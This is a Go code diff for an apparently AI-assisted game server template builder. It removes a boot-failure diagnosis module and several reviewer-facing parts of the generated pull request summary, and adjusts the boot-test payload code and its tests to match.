-			unbound[fmt.Sprint(p)] = true
-		}
-	}
-	expectPorts := []any{}
-	if ports, ok := g["defaultPorts"].([]any); ok {
-		for _, p := range ports {
-			if !unbound[fmt.Sprint(p)] {
-				expectPorts = append(expectPorts, fmt.Sprint(p))
-			}
+	if v, ok := test["settleSec"].(json.Number); ok {
+		if n, err := v.Int64(); err == nil {
+			settle = int(n)
 		}
 	}
 
-	// The panel fills {PUBLIC_IP}, {PUBLIC_HOST} and {PUBLIC_PORT_n} in the startup command too
-	startup := g["defaultStartupCommand"]
-	if cmd, ok := startup.(string); ok {
-		cmd = strings.NewReplacer("{PUBLIC_IP}", "127.0.0.1", "{PUBLIC_HOST}", "127.0.0.1").Replace(cmd)
-		startup = publicPort.ReplaceAllString(cmd, "$1")
-	}
-
-	return map[string]any{
+	payload := map[string]any{
 		"command":       "DEPLOY_SERVER",
 		"serverId":      "boottest-" + id,
 		"containerName": "boottest-" + id,
@@ -173,7 +117,7 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error
 		"configFilePath":      g["configFilePath"],
 		"configFileFormat":    g["configFileFormat"],
 		"configFormatOptions": g["configFormatOptions"],
-		"startupCommand":      startup,
+		"startupCommand":      g["defaultStartupCommand"],
 		"memoryLimitMb":       g["requiredMemoryMb"],
 		"containerUser":       g["containerUser"],
 		"dockerNetwork":       bootTestNetwork,
@@ -182,9 +126,16 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error
 		"failPatterns":        g["failPatterns"],
 		"timeoutSec":          timeout,
 		"settleSec":           settle,
-		"holdSec":             hold,
-		"expectPorts":         expectPorts,
-	}, nil
+	}
+	b, err := json.MarshalIndent(payload, "", "  ")
+	if err != nil {
+		return err
+	}
+	if *out == "" {
+		_, err = os.Stdout.Write(b)
+		return err
+	}
+	return os.WriteFile(*out, b, 0o644)
 }
 
 // resolvePlaceholders stands in for what the panel fills per server; saved values have no owner here.

cmd/gbrgames/boottest_test.go

@@ -1,16 +1,14 @@
 package main
 
 import (
-	"time"
 	"encoding/json"
-	"errors"
 	"os"
 	"path/filepath"
 	"strings"
 	"testing"
 )
 
-func TestBootTestPayloadIsWhatANewServerGets(t *testing.T) {
+func TestBootTestPayloadOnlyFillsBlankPasswords(t *testing.T) {
 	dir := t.TempDir()
 	game := filepath.Join(dir, "games", "demo")
 	if err := os.MkdirAll(game, 0o755); err != nil {
@@ -54,12 +52,10 @@ configSchema:
 	if c["ENABLE_RCON"] != true {
 		t.Errorf("ENABLE_RCON changed to %v", c["ENABLE_RCON"])
 	}
-	// Exactly what a new server gets: the x-generate password is made, a blank join password stays blank
-	if s, _ := c["RCON_PASSWORD"].(string); !strings.HasPrefix(s, "boot-") {
-		t.Errorf("x-generate RCON_PASSWORD not filled: %v", c["RCON_PASSWORD"])
-	}
-	if c["ServerPassword"] != "" {
-		t.Errorf("ServerPassword must stay empty, as for a new server: %v", c["ServerPassword"])
+	for _, k := range []string{"RCON_PASSWORD", "ServerPassword"} {
+		if s, _ := c[k].(string); !strings.HasPrefix(s, "boot-") {
+			t.Errorf("%s not filled: %v", k, c[k])
+		}
 	}
 	if c["AdminPassword"] != "kept-by-owner" {
 		t.Errorf("AdminPassword overwritten: %v", c["AdminPassword"])
@@ -67,83 +63,4 @@ configSchema:
 	if c["MOTD"] != "gbr-boot-test on 25565" {
 		t.Errorf("placeholders not resolved: %v", c["MOTD"])
 	}
-
-	// Only for the builder's diagnosis: blank passwords filled too
-	if err := runBootTestPayload([]string{"-fill-blank-passwords", "-games", filepath.Join(dir, "games"), "-out", out, "demo"}); err != nil {
-		t.Fatal(err)
-	}
-	raw, _ = os.ReadFile(out)
-	payload.GameConfig = nil
-	if err := json.Unmarshal(raw, &payload); err != nil {
-		t.Fatal(err)
-	}
-	if s, _ := payload.GameConfig["ServerPassword"].(string); !strings.HasPrefix(s, "boot-") {
-		t.Errorf("-fill-blank-passwords: ServerPassword not filled: %v", payload.GameConfig["ServerPassword"])
-	}
-}
-
-func TestBootTestPayloadAsksForPublishedPortsAndHold(t *testing.T) {
-	dir := t.TempDir()
-	game := filepath.Join(dir, "example")
-	os.MkdirAll(game, 0o755)
-	os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\ndefaultPorts:\n  - 30000/udp\n  - 30001:30001/tcp\n"), 0o644)
-	os.WriteFile(filepath.Join(game, "test.yaml"), []byte("holdSec: 90\n"), 0o644)
-	p, err := bootTestPayload(dir, "example", false)
-	if err != nil {
-		t.Fatal(err)
-	}
-	ports, _ := p["expectPorts"].([]any)
-	if len(ports) != 2 || ports[0] != "30000/udp" || ports[1] != "30001:30001/tcp" {
-		t.Errorf("expectPorts %v", p["expectPorts"])
-	}
-	if p["holdSec"] != 90 || p["settleSec"] != 120 {
-		t.Errorf("hold %v settle %v", p["holdSec"], p["settleSec"])
-	}
-
-	os.WriteFile(filepath.Join(game, "test.yaml"), []byte("secrets:\n  OwnerId: EXAMPLE_OWNER\n"), 0o644)
-	_, err = bootTestPayload(dir, "example", false)
-	var missing *missingSecretError
-	if !errors.As(err, &missing) || missing.secret != "EXAMPLE_OWNER" {
-		t.Errorf("missing secret: %v", err)
-	}
-}
-
-func TestBootTestPayloadLeavesOutUnboundPorts(t *testing.T) {
-	dir := t.TempDir()
-	game := filepath.Join(dir, "example")
-	os.MkdirAll(game, 0o755)
-	os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\ndefaultPorts:\n  - 30000/tcp\n  - 30001/udp\n"), 0o644)
-	os.WriteFile(filepath.Join(game, "test.yaml"), []byte("unboundPorts:\n  - 30001/udp\n"), 0o644)
-	p, err := bootTestPayload(dir, "example", false)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if ports := p["expectPorts"].([]any); len(ports) != 1 || ports[0] != "30000/tcp" {
-		t.Errorf("expectPorts %v", ports)
-	}
-}
-
-func TestSteamCacheStampAge(t *testing.T) {
-	now := time.Unix(1_800_000_000, 0)
-	if !stampWithin("1799990000\n", now, 24*time.Hour) {
-		t.Error("updated 10000s ago should be fresh")
-	}
-	if stampWithin("1700000000", now, 24*time.Hour) || stampWithin("", now, 24*time.Hour) || stampWithin("x", now, 24*time.Hour) {
-		t.Error("old, missing or garbled stamps are not fresh")
-	}
-}
-
-func TestBootTestPayloadFillsPublicPlaceholdersInStartupCommand(t *testing.T) {
-	dir := t.TempDir()
-	game := filepath.Join(dir, "example")
-	os.MkdirAll(game, 0o755)
-	os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\n"+
-		"defaultStartupCommand: ./server -Port={PUBLIC_PORT_7777} -ip={PUBLIC_IP}\ndefaultPorts:\n  - 7777/udp\n"), 0o644)
-	p, err := bootTestPayload(dir, "example", false)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if p["startupCommand"] != "./server -Port=7777 -ip=127.0.0.1" {
-		t.Errorf("startupCommand %v", p["startupCommand"])
-	}
 }

cmd/gbrgames/build.go

@@ -7,8 +7,8 @@ import (
 	"flag"
 	"fmt"
 	"os"
+	"os/exec"
 	"path/filepath"
-	"sort"
 	"strings"
 )
 
@@ -26,11 +26,6 @@ type buildResult struct {
 	Verified []string `json:"verified"`
 	Problems []string `json:"problems"`
 	Summary  string   `json:"summary"`
-	// What the builder diagnosed after each failed boot, the fix it made, and how that went
-	Diagnoses []attempt `json:"diagnoses,omitempty"`
-	// Repairs only: the existing template, and whether it already booted as it is (nothing to change)
-	Repair   bool `json:"repair,omitempty"`
-	NoChange bool `json:"noChange,omitempty"`
 }
 
 const defaultAgentImage = "www.gitea.gbreed.com/gbreed-public/gbr-node-agent:latest"
@@ -46,7 +41,7 @@ func runBuild(args []string) error {
 	provider := fs.String("provider", "ollama", "ollama or gemini")
 	modelName := fs.String("model", "", "model name (default as for draft)")
 	attempts := fs.Int("attempts", 3, "fix rounds for validation problems, each time")
-	bootRounds := fs.Int("boot-rounds", 5, "boots of the draft at most (it stops earlier when a ruled-out cause comes back)")
+	bootRounds := fs.Int("boot-rounds", 3, "boots of the draft before giving up")
 	out := fs.String("out", "", "write the result JSON here")
 	fs.Parse(args)
 	if *gameName == "" || *variantArg == "" {
@@ -97,35 +92,26 @@ type buildOptions struct {
 	agentImage                    string
 }
 
-// build drafts the template for exactly the option the admin chose: one image (research lists each way to
-// run a game as its own option). It never switches to another image; if the chosen one can't be made to
-// work, the result says so and the admin can pick a different option.
 func build(o buildOptions) (*buildResult, error) {
+	if len(o.variant.Images) == 0 {
+		return nil, errors.New("the variant has no image to build from")
+	}
+	res := &buildResult{GameID: o.id, Dir: filepath.Join(o.gamesDir, o.id)}
+	res.Verified = append(res.Verified, o.variant.Verified...)
+
+	// 1. First boot of each candidate image until one runs as a non-root user
+	var report *bootReport
 	for _, image := range o.variant.Images {
-		if isSteamCMDImage(image) && o.variant.SteamAppID == "" {
+		steam := isSteamCMDImage(image) && o.variant.SteamAppID != ""
+		if isSteamCMDImage(image) && !steam {
 			continue // the SteamCMD image alone runs nothing
 		}
-		res, err := buildWithImage(o, image)
-		if res != nil {
-			res.Summary = buildSummary(o, res)
+		res.Image = image
+		if steam && o.variant.StartupHint == "" {
+			fmt.Printf("[build] no startup command known for Steam app %s; drafting without a first boot\n", o.variant.SteamAppID)
+			report = nil
+			break
 		}
-		return res, err
-	}
-	return nil, errors.New("the variant has no image to build from")
-}
-
-// buildWithImage drafts the template for one image: first boot, draft, then boots of the draft with
-// failures going back to the model.
-func buildWithImage(o buildOptions, image string) (*buildResult, error) {
-	res := &buildResult{GameID: o.id, Dir: filepath.Join(o.gamesDir, o.id), Image: image}
-	res.Verified = append(res.Verified, o.variant.Verified...)
-	steam := isSteamCMDImage(image)
-
-	// 1. First boot of the image untouched: its log, files and settings are the draft's facts
-	var report *bootReport
-	if steam && o.variant.StartupHint == "" {
-		fmt.Printf("[build] no startup command known for Steam app %s; drafting without a first boot\n", o.variant.SteamAppID)
-	} else {
 		fmt.Printf("[build] first boot of %s\n", image)
 		r, err := firstBoot(o.id+"-probe", image, o.variant.SteamAppID, steam, o.variant.StartupHint)
 		if err != nil {
@@ -133,12 +119,18 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) {
 		}
 		if why := imageUnusable(r); why != "" {
 			fmt.Printf("[build] %s can't be used: %s\n", image, why)
-			res.Problems = []string{why}
-			return res, nil
+			res.Problems = append(res.Problems, why)
+			res.Image = ""
+			continue
 		}
 		report = r
 		res.Verified = append(res.Verified, fmt.Sprintf("first boot of %s: %s", image, r.Outcome))
+		break
 	}
+	if res.Image == "" {
+		return res, errors.New("no image of this variant runs as a non-root user")
+	}
+	res.Problems = nil
 
 	// 2. Draft until validation and the image checks pass
 	steamApp := ""
@@ -146,8 +138,7 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) {
 		steamApp = o.variant.SteamAppID
 	}
 	d, err := newDrafter(draftJob{GamesDir: o.gamesDir, SchemaDir: o.schemaDir, Name: o.name, ID: o.id, Image: res.Image,
-		SteamApp: steamApp, Notes: variantNotes(o.variant, o.notes), Report: report, Provider: o.provider, Model: o.model, NoPull: true,
-		Docs: sourceText(o.variant.Sources)})
+		SteamApp: steamApp, Notes: variantNotes(o.variant, o.notes), Report: report, Provider: o.provider, Model: o.model, NoPull: true})
 	if err != nil {
 		return nil, err
 	}
@@ -162,30 +153,14 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) {
 		return res, nil
 	}
 
-	// 3. Boot the draft the way nodes run it
-	if err := bootAndFix(o, d, res, len(outsideDirs(report)) > 0); err != nil {
-		return res, err
-	}
-	res.Summary = buildSummary(o, res)
-	return res, nil
-}
-
-// bootAndFix boots the template in games/<id> the way nodes run it, until it passes. A failure is
-// investigated and diagnosed before the model changes anything, and a fix that changes nothing rules its
-// cause out. Builds use it on a fresh draft; repairs on an existing template, where a first boot that
-// passes means there is nothing to repair. wantOutside also checks no files are lost on a restart.
-func bootAndFix(o buildOptions, d *drafter, res *buildResult, wantOutside bool) error {
-	iv := newInvestigator(d.m, o.name, o.gamesDir, o.id, o.agentImage)
-	lastFailure := ""
+	// 3. Boot the draft the way nodes run it; failures go back to the model
+	wantOutside := len(outsideDirs(report)) > 0
 	for boot := 1; boot <= o.bootRounds; boot++ {
-		fmt.Printf("[build] boot %d of the template with the node-agent\n", boot)
+		fmt.Printf("[build] boot %d of the draft with the node-agent\n", boot)
 		bootProblems, notes, err := bootCheck(o.gamesDir, o.id, o.agentImage, wantOutside)
 		if err != nil {
-			return err
+			return res, err
 		}
-		failure := strings.Join(bootProblems, "\n")
-		iv.outcome(len(bootProblems) == 0, lastFailure, failure)
-		lastFailure = failure
 		if len(bootProblems) == 0 {
 			res.Passed = true
 			res.Verified = append(res.Verified, notes...)
@@ -199,32 +174,21 @@ func bootAndFix(o buildOptions, d *drafter, res *buildResult, wantOutside bool)
 		if boot == o.bootRounds {
 			break
 		}
-		diag, err := iv.diagnose(failure)
-		if err != nil {
-			fmt.Printf("[build] diagnosis failed (%v); sending the failure as it is\n", err)
-			diag = &diagnosis{Cause: "unknown", Fix: "find the cause in the server's output", Evidence: failure}
-		}
-		if iv.ruledOut(diag) {
-			res.Problems = append(res.Problems, "the diagnosis came back to a cause an earlier fix ruled out ("+firstLine(diag.Cause)+
-				"); the builder stopped rather than guess. See what the builder found")
-			break
-		}
-		iv.record(diag)
-		problems, err := d.refine(o.attempts, fixRequest(failure, diag))
+		problems, err := d.refine(o.attempts, bootProblems)
 		res.Rounds = d.rounds
 		if err != nil {
-			return err
+			return res, err
 		}
 		if len(problems) > 0 {
 			res.Problems = problems
 			break
 		}
 	}
-	res.Diagnoses = iv.log
 	if res.Passed {
 		res.Problems = nil
 	}
-	return nil
+	res.Summary = buildSummary(o, res)
+	return res, nil
 }
 
 func isSteamCMDImage(image string) bool {
@@ -267,26 +231,33 @@ func firstBoot(name, image, steamApp string, steam bool, startup string) (*bootR
 // bootCheck deploys the template with the node-agent's BootTest, the same check CI runs, and when the
 // game wrote files outside its volume on the first boot, boots it once more to see that it no longer does.
 func bootCheck(gamesDir, id, agentImage string, wantOutside bool) (problems, verified []string, err error) {
-	if err := pullAgentImage(agentImage); err != nil {
+	self, err := os.Executable()
+	if err != nil {
 		return nil, nil, err
 	}
-	output, passed, problems, err := agentBoot(gamesDir, id, agentImage, false)
-	if err != nil || problems != nil {
-		return problems, nil, err
+	payload, err := exec.Command(self, "boottest-payload", "-games", gamesDir, id).Output()
+	if err != nil {
+		return nil, nil, fmt.Errorf("boottest-payload: %w", err)
 	}
-	if !passed {
-		// The server's own output rarely says it stopped because a setting was empty. Booting once more
-		// with the blank ones filled tells for certain whether they are the cause.
-		if blank := blankRequiredLooking(gamesDir, id); len(blank) > 0 {
-			fmt.Printf("[build] it failed with the defaults; booting again with %s filled to see whether empty settings are the cause\n",
-				strings.Join(blank, ", "))
-			if _, filledPassed, _, err := agentBoot(gamesDir, id, agentImage, true); err == nil && filledPassed {
-				return []string{emptySettingsProblem(blank, bootVerdict(output))}, nil, nil
-			}
+	if out, err := runCmd("docker", "pull", "-q", agentImage); err != nil {
+		return nil, nil, fmt.Errorf("docker pull %s: %v: %s", agentImage, err, out)
+	}
+	cmd := exec.Command("docker", "run", "--rm", "-i", "-v", "/var/run/docker.sock:/var/run/docker.sock",
+		"--entrypoint", "java", agentImage, "-Dloader.main=com.gbreed.gbr.nodeagent.BootTest", "-cp", "app.jar",
+		"org.springframework.boot.loader.launch.PropertiesLauncher")
+	cmd.Stdin = bytes.NewReader(payload)
+	var output bytes.Buffer
+	cmd.Stdout = &teeWriter{&output}
+	cmd.Stderr = cmd.Stdout
+	runErr := cmd.Run()
+	if runErr != nil {
+		var exitErr *exec.ExitError
+		if !errors.As(runErr, &exitErr) {
+			return nil, nil, runErr
 		}
-		return []string{bootFailure(output)}, nil, nil
+		return []string{bootFailure(output.String())}, nil, nil
 	}
-	verified = append(verified, "boot test with the node-agent: "+bootVerdict(output))
+	verified = append(verified, "boot test with the node-agent: "+bootVerdict(output.String()))
 
 	if wantOutside {
 		fmt.Println("[build] first boot wrote saves outside the volume; booting the draft to see that it no longer does")
@@ -305,57 +276,9 @@ func bootCheck(gamesDir, id, agentImage string, wantOutside bool) (problems, ver
 	return nil, verified, nil
 }
 
-// agentBoot runs one boot test with the node-agent's BootTest, with the settings a new server gets, like
-// CI. fillBlank also fills blank password-like settings, only to find out whether they are why a draft
-// fails. problems is set when the template can't be boot-tested at all.
-func agentBoot(gamesDir, id, agentImage string, fillBlank bool) (output string, passed bool, problems []string, err error) {
-	payload, err := bootTestPayload(gamesDir, id, fillBlank)
-	var missing *missingSecretError
-	if errors.As(err, &missing) {
-		// The builder has no CI secrets: that's the template's problem to fix, not a reason to stop
-		return "", false, []string{"the boot test can't run: " + missing.Error() + ". Remove 'secrets' from " +
-			"test.yaml; boot tests run with exactly what a new server gets"}, nil
-	}
-	if err != nil {
-		return "", false, nil, err
-	}
-	output, passed, err = runAgentBootTest(payload, agentImage)
-	return output, passed, nil, err
-}
-
-// blankRequiredLooking lists the settings a new server gets empty that look like a server might need a
-// value: password-like keys with an empty default and no x-generate.
-func blankRequiredLooking(gamesDir, id string) []string {
-	g, err := loadMap(filepath.Join(gamesDir, id, "game.yaml"))
-	if err != nil {
-		return nil
-	}
-	defaults, _ := g["defaultConfig"].(map[string]any)
-	var keys []string
-	for key, p := range schemaProperties(g) {
-		prop, _ := p.(map[string]any)
-		if prop["x-generate"] != nil || !passwordKey.MatchString(key) {
-			continue
-		}
-		if v, ok := defaults[key]; !ok || v == nil || v == "" {
-			keys = append(keys, key)
-		}
-	}
-	sort.Strings(keys)
-	return keys
-}
-
-func emptySettingsProblem(keys []string, verdict string) string {
-	return fmt.Sprintf("the server stops when %s is empty, as it is for every new server: booted with your defaults it "+
-		"failed (%s), and booted again with a value in %s it ran. A new server must start without the owner typing "+
-		"anything: give %s \"x-generate\": {\"type\": \"password\"} in configSchema (the panel then makes a password for "+
-		"each server; keep the default \"\"), or a default value that works. Keep the setting so owners can change it",
-		strings.Join(keys, ", "), verdict, strings.Join(keys, ", "), strings.Join(keys, ", "))
-}
-
 func firstBootGame(gamesDir, id string) (*bootReport, error) {
 	outDir := filepath.Join("firstboot-out", id+"-draft")
-	if err := runFirstBoot([]string{"-games", gamesDir, "-game", id, "-as-deployed", "-out", outDir}); err != nil {
+	if err := runFirstBoot([]string{"-games", gamesDir, "-game", id, "-out", outDir}); err != nil {
 		return nil, err
 	}
 	return readBootReport(filepath.Join(outDir, "report.json"))
@@ -373,9 +296,7 @@ func bootFailure(output string) string {
 		lines = append(lines[:1], lines[len(lines)-59:]...)
 	}
 	return "booting your template with the node-agent (the real deploy code) failed: " + verdict +
-		". It was started with your defaults exactly as a new server gets them: settings left empty stay empty " +
-		"(only x-generate fields are filled), so a server that needs a value must get it from a default or " +
-		"x-generate. Find the cause in the server's output below and fix the template (startup command, settings, " +
+		". Find the cause in the server's output below and fix the template (startup command, settings, " +
 		"ready pattern, memory):\n" + strings.Join(lines, "\n")
 }
 
@@ -406,7 +327,7 @@ func (t *teeWriter) Write(p []byte) (int, error) {
 // buildSummary is the pull request's description: where the facts came from and what was really checked.
 func buildSummary(o buildOptions, res *buildResult) string {
 	var b strings.Builder
-	fmt.Fprintf(&b, "Drafted by the GBR AI builder. **Review before merging**: check the settings, "+
+	fmt.Fprintf(&b, "Drafted by the GBR builder (AI on our own hardware). **Review before merging**: check the settings, "+
 		"ports and descriptions against the game's documentation.\n\n")
 	fmt.Fprintf(&b, "- Game: **%s**", o.name)
 	if o.variant.Title != "" {
@@ -418,34 +339,19 @@ func buildSummary(o buildOptions, res *buildResult) string {
 	}
 	fmt.Fprintf(&b, "\n- Model rounds: %d\n", res.Rounds)
 	if len(res.Verified) > 0 {
-		b.WriteString("\n**Checked for real** (measured by the builder, not the model's word)\n")
+		b.WriteString("\n**Checked for real**\n")
 		for _, v := range res.Verified {
 			fmt.Fprintf(&b, "- %s\n", v)
 		}
 	}
-	// What a node will fetch from the internet for this game: the part of a template a reviewer must check
-	if g, err := loadMap(filepath.Join(res.Dir, "game.yaml")); err == nil {
-		if urls := downloadURLs(g); len(urls) > 0 {
-			b.WriteString("\n**Review carefully: nodes download from these addresses**\n")
-			for _, u := range urls {
-				fmt.Fprintf(&b, "- %s\n", u)
-			}
-		}
-	}
 	if len(res.Problems) > 0 {
 		b.WriteString("\n**Still open** (the builder could not fix these)\n")
 		for _, p := range res.Problems {
 			fmt.Fprintf(&b, "- %s\n", firstLine(p))
 		}
 	}
-	if len(res.Diagnoses) > 0 {
-		b.WriteString("\n**What the builder found** (after each failed boot)\n")
-		for i, a := range res.Diagnoses {
-			fmt.Fprintf(&b, "%d. Cause: %s\n   Fix: %s\n   Outcome: %s\n", i+1, firstLine(a.Cause), firstLine(a.Fix), a.Outcome)
-		}
-	}
 	if o.variant.Notes != "" {
-		fmt.Fprintf(&b, "\n**From the sources** (the model's reading of the pages below, not checked): %s\n", o.variant.Notes)
+		fmt.Fprintf(&b, "\n**Notes from research:** %s\n", o.variant.Notes)
 	}
 	if len(o.variant.Sources) > 0 {
 		b.WriteString("\n**Sources**\n")
@@ -455,27 +361,3 @@ func buildSummary(o buildOptions, res *buildResult) string {
 	}
 	return b.String()
 }
-
-// sourceText reads the pages research based the variant on, in full, so the drafter can check that every
-// launch option the model uses is documented there. Empty (check skipped) without a reader.
-func sourceText(sources []string) string {
-	reader := os.Getenv("READER_URL")
-	if reader == "" || len(sources) == 0 {
-		fmt.Println("[build] no research sources to check launch options against (READER_URL or sources missing)")
-		return ""
-	}
-	var b strings.Builder
-	read := 0
-	for _, s := range sources {
-		text, err := readPageLimit(reader, s, 200_000)
-		if err != nil {
-			fmt.Printf("[build] could not read %s: %v\n", s, err)
-			continue
-		}
-		read++
-		b.WriteString(text)
-		b.WriteString("\n")
-	}
-	fmt.Printf("[build] read %d of %d research sources to check launch options against\n", read, len(sources))
-	return b.String()
-}

cmd/gbrgames/build_test.go

@@ -1,19 +1,17 @@
 package main
 
 import (
-	"os"
-	"path/filepath"
 	"strings"
 	"testing"
 )
 
 func TestBootFailureKeepsVerdictAndServerOutput(t *testing.T) {
-	out := "[boot-test] deploying boottest-example (cm2network/steamcmd)\n" +
-		"[boot-test] container started; waiting for ready pattern /Server ready/\n" +
+	out := "[boot-test] deploying boottest-valheim (cm2network/steamcmd)\n" +
+		"[boot-test] container started; waiting for ready pattern /Game server connected/\n" +
 		"[boot-test] FAILED: container exited before it was ready\n" +
 		"---- last 2 log lines ----\n" +
 		"Unknown argument --save-dir\n" +
-		"Usage: example_server ...\n"
+		"Usage: valheim_server.x86_64 ...\n"
 	got := bootFailure(out)
 	if !strings.Contains(got, "failed: FAILED: container exited before it was ready") {
 		t.Errorf("verdict missing: %s", got)
@@ -21,21 +19,19 @@ func TestBootFailureKeepsVerdictAndServerOutput(t *testing.T) {
 	if !strings.Contains(got, "Unknown argument --save-dir") || strings.Contains(got, "deploying boottest") {
 		t.Errorf("want only the server's last lines, got: %s", got)
 	}
-	if v := bootVerdict("[boot-test] PASSED: READY: Server ready"); v != "PASSED: READY: Server ready" {
+	if v := bootVerdict("[boot-test] PASSED: READY: Game server connected"); v != "PASSED: READY: Game server connected" {
 		t.Errorf("verdict = %q", v)
 	}
 }
 
 func TestOutsideDirsSkipsSteamNoise(t *testing.T) {
 	r := &bootReport{ContainerChanges: []string{
-		"A /home/steam/.config/example-game/worlds/w.db",
+		"A /home/steam/.config/unity3d/IronGate/Valheim/worlds_local/w.db",
 		"A /home/steam/Steam/logs/connection_log.txt",
-		"C /home/steam/Steam/config/config.vdf",
 		"C /home/steam/.steam/registry.vdf",
-		"A /usr/sbin/docker-init",
 	}}
 	got := outsideDirs(r)
-	if len(got) != 1 || got[0] != "/home/steam/.config/example-game/worlds" {
+	if len(got) != 1 || got[0] != "/home/steam/.config/unity3d/IronGate/Valheim/worlds_local" {
 		t.Errorf("got %v", got)
 	}
 	if outsideDirs(nil) != nil {
@@ -44,67 +40,11 @@ func TestOutsideDirsSkipsSteamNoise(t *testing.T) {
 }
 
 func TestVariantNotes(t *testing.T) {
-	v := variant{Title: "Crossplay", Description: "PC + Xbox", StartupHint: "./example_server -crossplay", Ports: []string{"30000/udp"}}
+	v := variant{Title: "Crossplay", Description: "PC + Xbox", StartupHint: "./valheim_server.x86_64 -crossplay", Ports: []string{"2456/udp"}}
 	got := variantNotes(v, "needs Xbox")
-	for _, want := range []string{"variant: Crossplay (PC + Xbox)", "documented startup: ./example_server -crossplay", "30000/udp", "the admin asked for: needs Xbox"} {
+	for _, want := range []string{"variant: Crossplay (PC + Xbox)", "documented startup: ./valheim_server.x86_64 -crossplay", "2456/udp", "the admin asked for: needs Xbox"} {
 		if !strings.Contains(got, want) {
 			t.Errorf("missing %q in %q", want, got)
 		}
 	}
 }
-
-func TestBlankRequiredLookingSettings(t *testing.T) {
-	dir := t.TempDir()
-	game := filepath.Join(dir, "example")
-	os.MkdirAll(game, 0o755)
-	os.WriteFile(filepath.Join(game, "game.yaml"), []byte(`id: example
-defaultConfig:
-  JoinPassword: ""
-  AdminPassword: ""
-  ServerPassword: set-by-default
-  ServerName: x
-configSchema:
-  properties:
-    JoinPassword: {type: string}
-    AdminPassword: {type: string, x-generate: {type: password}}
-    ServerPassword: {type: string}
-    ServerName: {type: string}
-`), 0o644)
-	got := blankRequiredLooking(dir, "example")
-	if len(got) != 1 || got[0] != "JoinPassword" {
-		t.Errorf("got %v, want only JoinPassword (AdminPassword is generated, ServerPassword has a default)", got)
-	}
-	msg := emptySettingsProblem(got, "FAILED: server crashed")
-	if !strings.Contains(msg, "stops when JoinPassword is empty") || !strings.Contains(msg, `"x-generate": {"type": "password"}`) {
-		t.Errorf("message: %s", msg)
-	}
-}
-
-func TestScoreDraftAgainstTheRealTemplate(t *testing.T) {
-	real := map[string]any{"defaultDockerImage": "cm2network/steamcmd", "installMethod": "STEAMCMD",
-		"installConfig": map[string]any{"appId": "1000000"}, "defaultPorts": []any{"30000/udp", "30001/udp"},
-		"configSchema": map[string]any{"properties": map[string]any{"ServerName": map[string]any{}, "MaxPlayers": map[string]any{}}}}
-	draft := map[string]any{"defaultDockerImage": "cm2network/steamcmd", "installMethod": "STEAMCMD",
-		"installConfig": map[string]any{"appId": "1000000"}, "defaultPorts": []any{"30000/udp", "30002/tcp"},
-		"readyPattern": `Server is ready`,
-		"configSchema": map[string]any{"properties": map[string]any{"SERVER_NAME": map[string]any{}, "WorldName": map[string]any{}}}}
-	var s evalScore
-	scoreDraft(&s, real, map[string]any{"readyExample": "12:00:01 Server is ready for players"}, draft)
-	if !s.SameRoute || s.PortsSame || !s.ReadyMatch || s.SettingsHit != 1 || s.RealSetting != 2 || s.Settings != 2 {
-		t.Errorf("score %+v", s)
-	}
-	if strings.Join(s.PortsDiff, ",") != "extra 30002/tcp,missing 30001/udp" {
-		t.Errorf("ports diff %v", s.PortsDiff)
-	}
-}
-
-func TestPRTextForBuildsAndRepairs(t *testing.T) {
-	_, title := prText("Example", "job1", &buildResult{Passed: true})
-	if title != "feat(games): add Example" {
-		t.Errorf("build title %q", title)
-	}
-	commit, title := prText("Example", "job1", &buildResult{Repair: true})
-	if title != "WIP: fix(games): repair Example (did not boot yet)" || !strings.HasPrefix(commit, "fix(games): repair Example") {
-		t.Errorf("repair %q / %q", title, commit)
-	}
-}

cmd/gbrgames/diagnose.go

@@ -1,389 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"fmt"
-	"os"
-	"path/filepath"
-	"regexp"
-	"strings"
-)
-
-// When a draft fails its boot, the builder investigates before anything is changed, the way a person
-// would: it collects evidence (the server's errors, what others found about that error on the web), has
-// the model state the cause and the evidence for it, lets the model ask for more checks (a search, a
-// page, the files the server wrote, a boot with one thing changed), and only then asks for exactly that
-// fix. Every attempt is logged, so a fix that changed nothing rules its cause out instead of being tried
-// again, and the build stops when a ruled-out cause comes back.
-
-type attempt struct {
-	Cause   string `json:"cause"`
-	Fix     string `json:"fix"`
-	Outcome string `json:"outcome"`
-}
-
-type checkRequest struct {
-	Type    string            `json:"type"` // search, read, files, boot_with
-	Query   string            `json:"query,omitempty"`
-	URL     string            `json:"url,omitempty"`
-	Config  map[string]string `json:"config,omitempty"`
-	Startup string            `json:"startup,omitempty"`
-}
-
-type diagnosis struct {
-	Cause      string         `json:"cause"`
-	Evidence   string         `json:"evidence"`
-	Confidence string         `json:"confidence"`
-	Fix        string         `json:"fix"`
-	Checks     []checkRequest `json:"checks"`
-}
-
-var diagnosisSchema = map[string]any{
-	"type":     "object",
-	"required": []string{"cause", "evidence", "confidence", "fix", "checks"},
-	"properties": map[string]any{
-		"cause":      map[string]any{"type": "string"},
-		"evidence":   map[string]any{"type": "string"},
-		"confidence": map[string]any{"enum": []string{"high", "medium", "low"}},
-		"fix":        map[string]any{"type": "string"},
-		"checks": map[string]any{
-			"type":     "array",
-			"maxItems": 3,
-			"items": map[string]any{
-				"type":     "object",
-				"required": []string{"type"},
-				"properties": map[string]any{
-					"type":    map[string]any{"enum": []string{"search", "read", "files", "boot_with"}},
-					"query":   map[string]any{"type": "string"},
-					"url":     map[string]any{"type": "string"},
-					"config":  map[string]any{"type": "object", "additionalProperties": map[string]any{"type": "string"}},
-					"startup": map[string]any{"type": "string"},
-				},
-			},
-		},
-	},
-}
-
-const diagnosePrompt = "You debug why a game server template fails on GBR Hosting nodes. Work like an engineer: find the " +
-	"cause from the evidence, never by guessing or by changing things to see what happens. The house rules below " +
-	"describe how servers really run; the boot test starts the server with exactly the settings a new server gets " +
-	"(settings left empty stay empty; only x-generate fields are filled).\n\n" +
